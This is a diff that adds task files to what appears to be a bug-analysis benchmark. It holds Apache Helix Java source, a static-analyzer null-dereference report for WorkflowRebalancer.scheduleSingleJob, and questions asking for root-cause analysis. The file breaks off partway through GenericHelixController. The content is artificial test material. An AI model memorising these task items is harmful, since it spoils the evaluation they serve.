+        resourceConfig.getRecord().setMapField(taskConfig.getId(), taskConfig.getConfigMap());
+      }
+    }
+    accessor.setProperty(keyBuilder.resourceConfig(jobResource), resourceConfig);
+
+    // Push out new ideal state based on number of target partitions
+    CustomModeISBuilder builder = new CustomModeISBuilder(jobResource);
+    builder.setRebalancerMode(IdealState.RebalanceMode.TASK);
+    builder.setNumReplica(1);
+    builder.setNumPartitions(numPartitions);
+    builder.setStateModel(TaskConstants.STATE_MODEL_NAME);
+
+    if (jobConfig.isDisableExternalView()) {
+      builder.setDisableExternalView(true);
+    }
+
+    jobIS = builder.build();
+    for (int i = 0; i < numPartitions; i++) {
+      jobIS.getRecord().setListField(jobResource + "_" + i, new ArrayList<String>());
+      jobIS.getRecord().setMapField(jobResource + "_" + i, new HashMap<String, String>());
+    }
+    jobIS.setRebalancerClassName(JobRebalancer.class.getName());
+    admin.setResourceIdealState(_manager.getClusterName(), jobResource, jobIS);
+  }
+
+  /**
+   * Check if a workflow is ready to schedule, and schedule a rebalance if it is not
+   *
+   * @param workflow the Helix resource associated with the workflow
+   * @param workflowCfg  the workflow to check
+   * @param workflowCtx  the current workflow context
+   * @return true if the workflow is ready for schedule, false if not ready
+   */
+  private boolean scheduleWorkflowIfReady(String workflow, WorkflowConfig workflowCfg,
+      WorkflowContext workflowCtx) {
+    // non-scheduled workflow is ready to run immediately.
+    if (workflowCfg == null || workflowCfg.getScheduleConfig() == null) {
+      return true;
+    }
+
+    // Figure out when this should be run, and if it's ready, then just run it
+    ScheduleConfig scheduleConfig = workflowCfg.getScheduleConfig();
+    Date startTime = scheduleConfig.getStartTime();
+    long currentTime = new Date().getTime();
+    long delayFromStart = startTime.getTime() - currentTime;
+
+    if (delayFromStart <= 0) {
+      // Recurring workflows are just templates that spawn new workflows
+      if (scheduleConfig.isRecurring()) {
+        // Skip scheduling this workflow if it's not in a start state
+        if (!workflowCfg.getTargetState().equals(TargetState.START)) {
+          LOG.debug("Skip scheduling since the workflow has not been started " + workflow);
+          return false;
+        }
+
+        // Skip scheduling this workflow again if the previous run (if any) is still active
+        String lastScheduled = workflowCtx.getLastScheduledSingleWorkflow();
+        if (lastScheduled != null) {
+          WorkflowContext lastWorkflowCtx = TaskUtil.getWorkflowContext(_manager, lastScheduled);
+          if (lastWorkflowCtx != null
+              && lastWorkflowCtx.getFinishTime() == WorkflowContext.UNFINISHED) {
+            LOG.info("Skip scheduling since last schedule has not completed yet " + lastScheduled);
+            return false;
+          }
+        }
+
+        // Figure out how many jumps are needed, thus the time to schedule the next workflow
+        // The negative of the delay is the amount of time past the start time
+        long period =
+            scheduleConfig.getRecurrenceUnit().toMillis(scheduleConfig.getRecurrenceInterval());
+        long offsetMultiplier = (-delayFromStart) / period;
+        long timeToSchedule = period * offsetMultiplier + startTime.getTime();
+
+        // Now clone the workflow if this clone has not yet been created
+        DateFormat df = new SimpleDateFormat("yyyyMMdd'T'HHmmss");
+        df.setTimeZone(TimeZone.getTimeZone("UTC"));
+        String newWorkflowName = workflow + "_" + df.format(new Date(timeToSchedule));
+        LOG.debug("Ready to start workflow " + newWorkflowName);
+        if (!newWorkflowName.equals(lastScheduled)) {
+          Workflow clonedWf = TaskUtil
+              .cloneWorkflow(_manager, workflow, newWorkflowName, new Date(timeToSchedule));
+          TaskDriver driver = new TaskDriver(_manager);
+          try {
+            // Start the cloned workflow
+            driver.start(clonedWf);
+          } catch (Exception e) {
+            LOG.error("Failed to schedule cloned workflow " + newWorkflowName, e);
+          }
+          // Persist workflow start regardless of success to avoid retrying and failing
+          workflowCtx.setLastScheduledSingleWorkflow(newWorkflowName);
+          TaskUtil.setWorkflowContext(_manager, workflow, workflowCtx);
+        }
+
+        // Change the time to trigger the pipeline to that of the next run
+        _scheduledRebalancer.scheduleRebalance(_manager, workflow, (timeToSchedule + period));
+      } else {
+        // one time workflow.
+        // Remove any timers that are past-time for this workflowg
+        long scheduledTime = _scheduledRebalancer.getRebalanceTime(workflow);
+        if (scheduledTime > 0 && currentTime > scheduledTime) {
+          _scheduledRebalancer.removeScheduledRebalance(workflow);
+        }
+        return true;
+      }
+    } else {
+      // set the timer to trigger future schedule
+      _scheduledRebalancer.scheduleRebalance(_manager, workflow, startTime.getTime());
+    }
+
+    return false;
+  }
+
+  /**
+   * Cleans up workflow configs and workflow contexts associated with this workflow,
+   * including all job-level configs and context, plus workflow-level information.
+   */
+  private void cleanupWorkflow(String workflow, WorkflowConfig workflowcfg,
+      WorkflowContext workflowCtx) {
+    LOG.info("Cleaning up workflow: " + workflow);
+    HelixDataAccessor accessor = _manager.getHelixDataAccessor();
+
+    /*
+    if (workflowCtx != null && workflowCtx.getFinishTime() == WorkflowContext.UNFINISHED) {
+      LOG.error("Workflow " + workflow + " has not completed, abort the clean up task.");
+      return;
+    }*/
+
+    for (String job : workflowcfg.getJobDag().getAllNodes()) {
+      cleanupJob(job, workflow);
+    }
+
+    // clean up workflow-level info if this was the last in workflow
+    if (workflowcfg.isTerminable() || workflowcfg.getTargetState() == TargetState.DELETE) {
+      // clean up IS & EV
+      TaskUtil.cleanupIdealStateExtView(_manager.getHelixDataAccessor(), workflow);
+
+      // delete workflow config
+      PropertyKey workflowCfgKey = TaskUtil.getWorkflowConfigKey(accessor, workflow);
+      if (accessor.getProperty(workflowCfgKey) != null) {
+        if (!accessor.removeProperty(workflowCfgKey)) {
+          LOG.error(String.format(
+              "Error occurred while trying to clean up workflow %s. Failed to remove node %s from Helix.",
+              workflow, workflowCfgKey));
+        }
+      }
+      // Delete workflow context
+      String workflowPropStoreKey = TaskUtil.getWorkflowContextKey(workflow);
+      LOG.info("Removing workflow context: " + workflowPropStoreKey);
+      if (!_manager.getHelixPropertyStore().remove(workflowPropStoreKey, AccessOption.PERSISTENT)) {
+        LOG.error(String.format(
+            "Error occurred while trying to clean up workflow %s. Failed to remove node %s from Helix. Aborting further clean up steps.",
+            workflow, workflowPropStoreKey));
+      }
+
+      // Remove pending timer task for this workflow if exists
+      _scheduledRebalancer.removeScheduledRebalance(workflow);
+    }
+  }
+
+
+  /**
+   * Cleans up workflow configs and workflow contexts associated with this workflow,
+   * including all job-level configs and context, plus workflow-level information.
+   */
+  private void cleanupJob(final String job, String workflow) {
+    LOG.info("Cleaning up job: " + job + " in workflow: " + workflow);
+    HelixDataAccessor accessor = _manager.getHelixDataAccessor();
+
+    // Remove any idealstate and externalView.
+    TaskUtil.cleanupIdealStateExtView(accessor, job);
+
+    // Remove DAG references in workflow
+    PropertyKey workflowKey = TaskUtil.getWorkflowConfigKey(accessor, workflow);
+    DataUpdater<ZNRecord> dagRemover = new DataUpdater<ZNRecord>() {
+      @Override
+      public ZNRecord update(ZNRecord currentData) {
+        if (currentData != null) {
+          JobDag jobDag = JobDag.fromJson(currentData.getSimpleField(WorkflowConfig.DAG));
+          for (String child : jobDag.getDirectChildren(job)) {
+            jobDag.getChildrenToParents().get(child).remove(job);
+          }
+          for (String parent : jobDag.getDirectParents(job)) {
+            jobDag.getParentsToChildren().get(parent).remove(job);
+          }
+          jobDag.getChildrenToParents().remove(job);
+          jobDag.getParentsToChildren().remove(job);
+          jobDag.getAllNodes().remove(job);
+          try {
+            currentData.setSimpleField(WorkflowConfig.DAG, jobDag.toJson());
+          } catch (Exception e) {
+            LOG.error("Could not update DAG for job: " + job, e);
+          }
+        } else {
+          LOG.error("Could not update DAG for job: " + job + " ZNRecord is null.");
+        }
+        return currentData;
+      }
+    };
+    accessor.getBaseDataAccessor().update(workflowKey.getPath(), dagRemover,
+        AccessOption.PERSISTENT);
+
+    // Delete job configs.
+    PropertyKey cfgKey = TaskUtil.getWorkflowConfigKey(accessor, job);
+    if (accessor.getProperty(cfgKey) != null) {
+      if (!accessor.removeProperty(cfgKey)) {
+        LOG.error(String.format(
+            "Error occurred while trying to clean up job %s. Failed to remove node %s from Helix.",
+            job, cfgKey));
+      }
+    }
+
+    // Delete job context
+    // For recurring workflow, it's OK if the node doesn't exist.
+    String propStoreKey = TaskUtil.getWorkflowContextKey(job);
+    if (!_manager.getHelixPropertyStore().remove(propStoreKey, AccessOption.PERSISTENT)) {
+      LOG.warn(String.format(
+          "Error occurred while trying to clean up job %s. Failed to remove node %s from Helix.",
+          job, propStoreKey));
+    }
+
+    LOG.info(String.format("Successfully cleaned up job context %s.", job));
+
+    _scheduledRebalancer.removeScheduledRebalance(job);
+  }
+
+  @Override
+  public IdealState computeNewIdealState(String resourceName, IdealState currentIdealState,
+      CurrentStateOutput currentStateOutput, ClusterDataCache clusterData) {
+    // Nothing to do here with workflow resource.
+    return currentIdealState;
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `admin.getResourceIdealState(TaskRebalancer._manager.getClusterName(),jobConfig.getTargetResource())` could be null and is dereferenced at line 168.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void WorkflowRebalancer.scheduleSingleJob(String,JobConfig)
+
+### Procedure Id:
+org.apache.helix.task.WorkflowRebalancer.scheduleSingleJob(java.lang.String,org.apache.helix.task.Jo.a9c9d069f7c6046b827b01fb147e6d9e
+
+### File:
+helix-core/src/main/java/org/apache/helix/task/WorkflowRebalancer.java
+
+### Key:
+WorkflowRebalancer.java|scheduleSingleJob|NULL_DEREFERENCE
+
+### Node Key:
+50cb5ef8465ad6b6a77b806e5d8dd53e
+
+### Hash:
+6f1669f78223e1a8b897ab78c2995f5a
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9616/instruction.md b/inferredbugs-9616/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..c7790af36ece61d495d14514c160be461952fd5d
--- /dev/null
+++ b/inferredbugs-9616/instruction.md
@@ -0,0 +1,787 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** helix
+**Bug ID:** 54
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.apache.helix.controller;
+
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *   http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Timer;
+import java.util.TimerTask;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.concurrent.atomic.AtomicReference;
+
+import org.I0Itec.zkclient.exception.ZkInterruptedException;
+import org.apache.helix.api.listeners.ConfigChangeListener;
+import org.apache.helix.api.listeners.ControllerChangeListener;
+import org.apache.helix.api.listeners.CurrentStateChangeListener;
+import org.apache.helix.api.listeners.IdealStateChangeListener;
+import org.apache.helix.api.listeners.InstanceConfigChangeListener;
+import org.apache.helix.api.listeners.LiveInstanceChangeListener;
+import org.apache.helix.api.listeners.MessageListener;
+import org.apache.helix.api.listeners.PreFetch;
+import org.apache.helix.HelixDataAccessor;
+import org.apache.helix.HelixManager;
+import org.apache.helix.NotificationContext;
+import org.apache.helix.NotificationContext.Type;
+import org.apache.helix.PropertyKey.Builder;
+import org.apache.helix.ZNRecord;
+import org.apache.helix.controller.pipeline.Pipeline;
+import org.apache.helix.controller.pipeline.PipelineRegistry;
+import org.apache.helix.controller.stages.AttributeName;
+import org.apache.helix.controller.stages.BestPossibleStateCalcStage;
+import org.apache.helix.controller.stages.ClusterDataCache;
+import org.apache.helix.controller.stages.ClusterEvent;
+import org.apache.helix.controller.stages.ClusterEventBlockingQueue;
+import org.apache.helix.controller.stages.ClusterEventType;
+import org.apache.helix.controller.stages.CompatibilityCheckStage;
+import org.apache.helix.controller.stages.CurrentStateComputationStage;
+import org.apache.helix.controller.stages.ExternalViewComputeStage;
+import org.apache.helix.controller.stages.IntermediateStateCalcStage;
+import org.apache.helix.controller.stages.MessageGenerationPhase;
+import org.apache.helix.controller.stages.MessageSelectionStage;
+import org.apache.helix.controller.stages.MessageThrottleStage;
+import org.apache.helix.controller.stages.PersistAssignmentStage;
+import org.apache.helix.controller.stages.ReadClusterDataStage;
+import org.apache.helix.controller.stages.ResourceComputationStage;
+import org.apache.helix.controller.stages.ResourceValidationStage;
+import org.apache.helix.controller.stages.TaskAssignmentStage;
+import org.apache.helix.model.ClusterConfig;
+import org.apache.helix.model.CurrentState;
+import org.apache.helix.model.IdealState;
+import org.apache.helix.model.InstanceConfig;
+import org.apache.helix.model.LiveInstance;
+import org.apache.helix.model.Message;
+import org.apache.helix.model.PauseSignal;
+import org.apache.helix.monitoring.mbeans.ClusterEventMonitor;
+import org.apache.helix.monitoring.mbeans.ClusterStatusMonitor;
+import org.apache.helix.task.TaskDriver;
+import org.apache.log4j.Logger;
+
+import static org.apache.helix.HelixConstants.ChangeType;
+
+/**
+ * Cluster Controllers main goal is to keep the cluster state as close as possible to Ideal State.
+ * It does this by listening to changes in cluster state and scheduling new tasks to get cluster
+ * state to best possible ideal state. Every instance of this class can control can control only one
+ * cluster Get all the partitions use IdealState, CurrentState and Messages <br>
+ * foreach partition <br>
+ * 1. get the (instance,state) from IdealState, CurrentState and PendingMessages <br>
+ * 2. compute best possible state (instance,state) pair. This needs previous step data and state
+ * model constraints <br>
+ * 3. compute the messages/tasks needed to move to 1 to 2 <br>
+ * 4. select the messages that can be sent, needs messages and state model constraints <br>
+ * 5. send messages
+ */
+public class GenericHelixController implements ConfigChangeListener, IdealStateChangeListener,
+    LiveInstanceChangeListener, MessageListener, CurrentStateChangeListener,
+    ControllerChangeListener, InstanceConfigChangeListener {
+  private static final Logger logger = Logger.getLogger(GenericHelixController.class.getName());
+  private static final long EVENT_THREAD_JOIN_TIMEOUT = 1000;
+  private static final int ASYNC_TASKS_THREADPOOL_SIZE = 40;
+  private final PipelineRegistry _registry;
+
+  final AtomicReference<Map<String, LiveInstance>> _lastSeenInstances;
+  final AtomicReference<Map<String, LiveInstance>> _lastSeenSessions;
+
+  ClusterStatusMonitor _clusterStatusMonitor;
+
+  /**
+   * A queue for controller events and a thread that will consume it
+   */
+  private final ClusterEventBlockingQueue _eventQueue;
+  private final ClusterEventProcessor _eventThread;
+
+  /**
+   * The _paused flag is checked by function handleEvent(), while if the flag is set handleEvent()
+   * will be no-op. Other event handling logic keeps the same when the flag is set.
+   */
+  private boolean _paused;
+
+  /**
+   * The timer that can periodically run the rebalancing pipeline. The timer will start if there is
+   * one resource group has the config to use the timer.
+   */
+  Timer _rebalanceTimer = null;
+  long _timerPeriod = Long.MAX_VALUE;
+
+  /**
+   * A cache maintained across pipelines
+   */
+  private ClusterDataCache _cache;
+  private ExecutorService _asyncTasksThreadPool;
+
+  private String _clusterName;
+
+  /**
+   * Default constructor that creates a default pipeline registry. This is sufficient in most cases,
+   * but if there is a some thing specific needed use another constructor where in you can pass a
+   * pipeline registry
+   */
+  public GenericHelixController() {
+    this(createDefaultRegistry());
+  }
+
+  public GenericHelixController(String clusterName) {
+    this(createDefaultRegistry(), clusterName);
+  }
+
+  class RebalanceTask extends TimerTask {
+    HelixManager _manager;
+
+    public RebalanceTask(HelixManager manager) {
+      _manager = manager;
+    }
+
+    @Override
+    public void run() {
+      //TODO: this is the temporary workaround
+      _cache.requireFullRefresh();
+      _cache.refresh(_manager.getHelixDataAccessor());
+      if (_cache.getLiveInstances() != null) {
+        NotificationContext changeContext = new NotificationContext(_manager);
+        changeContext.setType(NotificationContext.Type.CALLBACK);
+        synchronized (_manager) {
+          checkLiveInstancesObservation(new ArrayList<>(_cache.getLiveInstances().values()),
+              changeContext);
+        }
+      }
+
+      NotificationContext changeContext = new NotificationContext(_manager);
+      changeContext.setType(NotificationContext.Type.CALLBACK);
+      ClusterEvent event = new ClusterEvent(_clusterName,ClusterEventType.PeriodicalRebalance);
+      event.addAttribute(AttributeName.helixmanager.name(), changeContext.getManager());
+      event.addAttribute(AttributeName.changeContext.name(), changeContext);
+      List<ZNRecord> dummy = new ArrayList<ZNRecord>();
+      event.addAttribute(AttributeName.eventData.name(), dummy);
+      // Should be able to process
+      _eventQueue.put(event);
+      logger.info("Controller periodicalRebalance event triggered!");
+    }
+  }
+
+  // TODO who should stop this timer
+  /**
+   * Starts the rebalancing timer with the specified period. Start the timer if necessary; If the
+   * period is smaller than the current period, cancel the current timer and use the new period.
+   */
+  void startRebalancingTimer(long period, HelixManager manager) {
+    if (period != _timerPeriod) {
+      logger.info("Controller starting timer at period " + period);
+      if (_rebalanceTimer != null) {
+        _rebalanceTimer.cancel();
+      }
+      _rebalanceTimer = new Timer(true);
+      _timerPeriod = period;
+      _rebalanceTimer
+          .scheduleAtFixedRate(new RebalanceTask(manager), _timerPeriod, _timerPeriod);
+    } else {
+      logger.info("Controller already has timer at period " + _timerPeriod);
+    }
+  }
+
+  /**
+   * Stops the rebalancing timer
+   */
+  void stopRebalancingTimer() {
+    if (_rebalanceTimer != null) {
+      _rebalanceTimer.cancel();
+      _rebalanceTimer = null;
+    }
+    _timerPeriod = Integer.MAX_VALUE;
+  }
+
+  private static PipelineRegistry createDefaultRegistry() {
+    logger.info("createDefaultRegistry");
+    synchronized (GenericHelixController.class) {
+      PipelineRegistry registry = new PipelineRegistry();
+
+      // cluster data cache refresh
+      Pipeline dataRefresh = new Pipeline();
+      dataRefresh.addStage(new ReadClusterDataStage());
+
+      // rebalance pipeline
+      Pipeline rebalancePipeline = new Pipeline();
+      rebalancePipeline.addStage(new ResourceComputationStage());
+      rebalancePipeline.addStage(new ResourceValidationStage());
+      rebalancePipeline.addStage(new CurrentStateComputationStage());
+      rebalancePipeline.addStage(new BestPossibleStateCalcStage());
+      rebalancePipeline.addStage(new IntermediateStateCalcStage());
+      rebalancePipeline.addStage(new MessageGenerationPhase());
+      rebalancePipeline.addStage(new MessageSelectionStage());
+      rebalancePipeline.addStage(new MessageThrottleStage());
+      rebalancePipeline.addStage(new TaskAssignmentStage());
+      rebalancePipeline.addStage(new PersistAssignmentStage());
+
+      // external view generation
+      Pipeline externalViewPipeline = new Pipeline();
+      externalViewPipeline.addStage(new ExternalViewComputeStage());
+
+      // backward compatibility check
+      Pipeline liveInstancePipeline = new Pipeline();
+      liveInstancePipeline.addStage(new CompatibilityCheckStage());
+
+      registry.register(ClusterEventType.IdealStateChange, dataRefresh, rebalancePipeline);
+      registry.register(ClusterEventType.CurrentStateChange, dataRefresh, rebalancePipeline, externalViewPipeline);
+      registry.register(ClusterEventType.ConfigChange, dataRefresh, rebalancePipeline);
+      registry.register(ClusterEventType.LiveInstanceChange, dataRefresh, liveInstancePipeline, rebalancePipeline,
+          externalViewPipeline);
+
+      registry.register(ClusterEventType.MessageChange, dataRefresh, rebalancePipeline);
+      registry.register(ClusterEventType.ExternalViewChange, dataRefresh);
+      registry.register(ClusterEventType.Resume, dataRefresh, rebalancePipeline, externalViewPipeline);
+      registry
+          .register(ClusterEventType.PeriodicalRebalance, dataRefresh, rebalancePipeline, externalViewPipeline);
+      return registry;
+    }
+  }
+
+  public GenericHelixController(PipelineRegistry registry) {
+    this(registry, null);
+  }
+
+  private GenericHelixController(PipelineRegistry registry, String clusterName) {
+    _paused = false;
+    _registry = registry;
+    _lastSeenInstances = new AtomicReference<>();
+    _lastSeenSessions = new AtomicReference<>();
+    _clusterName = clusterName;
+    _asyncTasksThreadPool = Executors.newFixedThreadPool(ASYNC_TASKS_THREADPOOL_SIZE);
+    _cache = new ClusterDataCache(clusterName);
+    _cache.setAsyncTasksThreadPool(_asyncTasksThreadPool);
+    _eventQueue = new ClusterEventBlockingQueue();
+    _eventThread = new ClusterEventProcessor();
+    _eventThread.setDaemon(true);
+    _eventThread.start();
+  }
+
+  /**
+   * lock-always: caller always needs to obtain an external lock before call, calls to handleEvent()
+   * should be serialized
+   * @param event
+   */
+  protected synchronized void handleEvent(ClusterEvent event) {
+    HelixManager manager = event.getAttribute(AttributeName.helixmanager.name());
+    if (manager == null) {
+      logger.error("No cluster manager in event:" + event.getEventType());
+      return;
+    }
+
+    if (!manager.isLeader()) {
+      logger.error("Cluster manager: " + manager.getInstanceName() + " is not leader for " + manager
+          .getClusterName() + ". Pipeline will not be invoked");
+      return;
+    }
+
+    if (_paused) {
+      logger.info("Cluster " + manager.getClusterName() + " is paused. Ignoring the event:" + event
+          .getEventType());
+      return;
+    }
+
+    NotificationContext context = null;
+    if (event.getAttribute(AttributeName.changeContext.name()) != null) {
+      context = event.getAttribute(AttributeName.changeContext.name());
+    }
+
+    // Initialize _clusterStatusMonitor
+    if (context != null) {
+      if (context.getType() == Type.FINALIZE) {
+        stopRebalancingTimer();
+        logger.info("Get FINALIZE notification, skip the pipeline. Event :" + event.getEventType());
+        return;
+      } else {
+        if (_clusterStatusMonitor == null) {
+          _clusterStatusMonitor = new ClusterStatusMonitor(manager.getClusterName());
+        }
+        // TODO: should be in the initization of controller.
+        if (_cache != null) {
+          checkRebalancingTimer(manager, Collections.EMPTY_LIST, _cache.getClusterConfig());
+        }
+        TaskDriver driver = new TaskDriver(manager);
+        _clusterStatusMonitor.refreshWorkflowsStatus(driver);
+        _clusterStatusMonitor.refreshJobsStatus(driver);
+        event.addAttribute(AttributeName.clusterStatusMonitor.name(), _clusterStatusMonitor);
+      }
+    }
+
+    // add the cache
+    event.addAttribute(AttributeName.ClusterDataCache.name(), _cache);
+
+    List<Pipeline> pipelines = _registry.getPipelinesForEvent(event.getEventType());
+    if (pipelines == null || pipelines.size() == 0) {
+      logger.info("No pipeline to run for event:" + event.getEventType());
+      return;
+    }
+
+    logger.info("START: Invoking controller pipeline for event: " + event.getEventType());
+    long startTime = System.currentTimeMillis();
+    for (Pipeline pipeline : pipelines) {
+      try {
+        pipeline.handle(event);
+        pipeline.finish();
+      } catch (Exception e) {
+        logger.error("Exception while executing pipeline: " + pipeline
+            + ". Will not continue to next pipeline", e);
+        break;
+      }
+    }
+    long endTime = System.currentTimeMillis();
+    logger.info("END: Invoking controller pipeline for event: " + event.getEventType() + " for cluster "
+        + manager.getClusterName() + ", took " + (endTime - startTime) + " ms");
+
+    // report event process durations
+    if (_clusterStatusMonitor != null) {
+      NotificationContext notificationContext = event.getAttribute(AttributeName.changeContext.name());
+      long enqueueTime = event.getCreationTime();
+      long zkCallbackTime;
+      StringBuilder sb = new StringBuilder();
+      if (notificationContext != null) {
+        zkCallbackTime = notificationContext.getCreationTime();
+        _clusterStatusMonitor
+            .updateClusterEventDuration(ClusterEventMonitor.PhaseName.Callback.name(),
+                enqueueTime - zkCallbackTime);
+        sb.append(String.format(
+            "Callback time for event: " + event.getEventType() + " took: " + (enqueueTime
+                - zkCallbackTime) + " ms\n"));
+
+      }
+      _clusterStatusMonitor.updateClusterEventDuration(ClusterEventMonitor.PhaseName.InQueue.name(),
+          startTime - enqueueTime);
+      _clusterStatusMonitor
+          .updateClusterEventDuration(ClusterEventMonitor.PhaseName.TotalProcessed.name(),
+              endTime - startTime);
+      sb.append(String.format(
+          "InQueue time for event: " + event.getEventType() + " took: " + (startTime - enqueueTime)
+              + " ms\n"));
+      sb.append(String.format(
+          "TotalProcessed time for event: " + event.getEventType() + " took: " + (endTime - startTime)
+              + " ms"));
+      logger.info(sb.toString());
+    }
+  }
+
+
+  @Override
+  @PreFetch(enabled = false)
+  public void onStateChange(String instanceName, List<CurrentState> statesInfo,
+      NotificationContext changeContext) {
+    logger.info("START: GenericClusterController.onStateChange()");
+    if (changeContext == null || changeContext.getType() != Type.CALLBACK) {
+      _cache.requireFullRefresh();
+    } else {
+      _cache.updateDataChange(ChangeType.CURRENT_STATE);
+    }
+    ClusterEvent event = new ClusterEvent(_clusterName, ClusterEventType.CurrentStateChange);
+    event.addAttribute(AttributeName.helixmanager.name(), changeContext.getManager());
+    event.addAttribute(AttributeName.instanceName.name(), instanceName);
+    event.addAttribute(AttributeName.changeContext.name(), changeContext);
+
+    _eventQueue.put(event);
+    logger.info("END: GenericClusterController.onStateChange()");
+  }
+
+  @Override
+  @PreFetch(enabled = false)
+  public void onMessage(String instanceName, List<Message> messages,
+      NotificationContext changeContext) {
+    logger.info("START: GenericClusterController.onMessage() for cluster " + _clusterName);
+    if (changeContext == null || changeContext.getType() != Type.CALLBACK) {
+      _cache.requireFullRefresh();
+    } else {
+      _cache.updateDataChange(ChangeType.MESSAGE);
+    }
+
+    ClusterEvent event = new ClusterEvent(_clusterName, ClusterEventType.MessageChange);
+    event.addAttribute(AttributeName.helixmanager.name(), changeContext.getManager());
+    event.addAttribute(AttributeName.instanceName.name(), instanceName);
+    event.addAttribute(AttributeName.changeContext.name(), changeContext);
+
+    _eventQueue.put(event);
+
+    if (_clusterStatusMonitor != null && messages != null) {
+      _clusterStatusMonitor.addMessageQueueSize(instanceName, messages.size());
+    }
+
+    logger.info("END: GenericClusterController.onMessage() for cluster " + _clusterName);
+  }
+
+  @Override
+  public void onLiveInstanceChange(List<LiveInstance> liveInstances,
+      NotificationContext changeContext) {
+    logger.info("START: Generic GenericClusterController.onLiveInstanceChange() for cluster " + _clusterName);
+    if (changeContext == null || changeContext.getType() != Type.CALLBACK) {
+      _cache.requireFullRefresh();
+    }
+
+    if (liveInstances == null) {
+      liveInstances = Collections.emptyList();
+    }
+    _cache.setLiveInstances(liveInstances);
+
+    // Go though the live instance list and make sure that we are observing them
+    // accordingly. The action is done regardless of the paused flag.
+    if (changeContext.getType() == NotificationContext.Type.INIT
+        || changeContext.getType() == NotificationContext.Type.CALLBACK) {
+      checkLiveInstancesObservation(liveInstances, changeContext);
+    } else if (changeContext.getType() == NotificationContext.Type.FINALIZE) {
+      // on finalize, should remove all message/current-state listeners
+      logger.info("remove message/current-state listeners. lastSeenInstances: " + _lastSeenInstances
+          + ", lastSeenSessions: " + _lastSeenSessions);
+      liveInstances = Collections.emptyList();
+      checkLiveInstancesObservation(liveInstances, changeContext);
+    }
+
+    ClusterEvent event = new ClusterEvent(_clusterName, ClusterEventType.LiveInstanceChange);
+    event.addAttribute(AttributeName.helixmanager.name(), changeContext.getManager());
+    event.addAttribute(AttributeName.changeContext.name(), changeContext);
+    event.addAttribute(AttributeName.eventData.name(), liveInstances);
+    _eventQueue.put(event);
+    logger.info(
+        "END: Generic GenericClusterController.onLiveInstanceChange() for cluster " + _clusterName);
+  }
+
+  private void checkRebalancingTimer(HelixManager manager, List<IdealState> idealStates,
+      ClusterConfig clusterConfig) {
+    if (manager.getConfigAccessor() == null) {
+      logger.warn(manager.getInstanceName()
+          + " config accessor doesn't exist. should be in file-based mode.");
+      return;
+    }
+
+    long minPeriod = Long.MAX_VALUE;
+    if (clusterConfig != null) {
+      long period = clusterConfig.getRebalanceTimePeriod();
+      if (period > 0 && minPeriod > period) {
+        minPeriod = period;
+      }
+    }
+
+    // TODO: resource level rebalance does not make sense, to remove it!
+    for (IdealState idealState : idealStates) {
+      long period = idealState.getRebalanceTimerPeriod();
+      if (period > 0 && minPeriod > period) {
+        minPeriod = period;
+      }
+    }
+
+    if (minPeriod != Long.MAX_VALUE) {
+      startRebalancingTimer(minPeriod, manager);
+    }
+  }
+
+  @Override
+  @PreFetch(enabled = false)
+  public void onIdealStateChange(List<IdealState> idealStates, NotificationContext changeContext) {
+    logger.info(
+        "START: Generic GenericClusterController.onIdealStateChange() for cluster " + _clusterName);
+    if (changeContext == null || changeContext.getType() != Type.CALLBACK) {
+      _cache.requireFullRefresh();
+    } else {
+      _cache.updateDataChange(ChangeType.IDEAL_STATE);
+    }
+
+    ClusterEvent event = new ClusterEvent(_clusterName, ClusterEventType.IdealStateChange);
+    event.addAttribute(AttributeName.helixmanager.name(), changeContext.getManager());
+    event.addAttribute(AttributeName.changeContext.name(), changeContext);
+
+    _eventQueue.put(event);
+
+    if (changeContext.getType() != Type.FINALIZE) {
+      checkRebalancingTimer(changeContext.getManager(), idealStates, _cache.getClusterConfig());
+    }
+
+    logger.info("END: GenericClusterController.onIdealStateChange() for cluster " + _clusterName);
+  }
+
+  @Override
+  @PreFetch(enabled = false)
+  public void onConfigChange(List<InstanceConfig> configs, NotificationContext changeContext) {
+    logger.info("START: GenericClusterController.onConfigChange() for cluster " + _clusterName);
+    if (changeContext == null || changeContext.getType() != Type.CALLBACK) {
+      _cache.requireFullRefresh();
+    } else {
+      _cache.updateDataChange(ChangeType.INSTANCE_CONFIG);
+    }
+
+    ClusterEvent event = new ClusterEvent(_clusterName, ClusterEventType.ConfigChange);
+    event.addAttribute(AttributeName.changeContext.name(), changeContext);
+    event.addAttribute(AttributeName.helixmanager.name(), changeContext.getManager());
+
+    _eventQueue.put(event);
+
+    logger.info("END: GenericClusterController.onConfigChange() for cluster " + _clusterName);
+  }
+
+  @Override
+  @PreFetch(enabled = false)
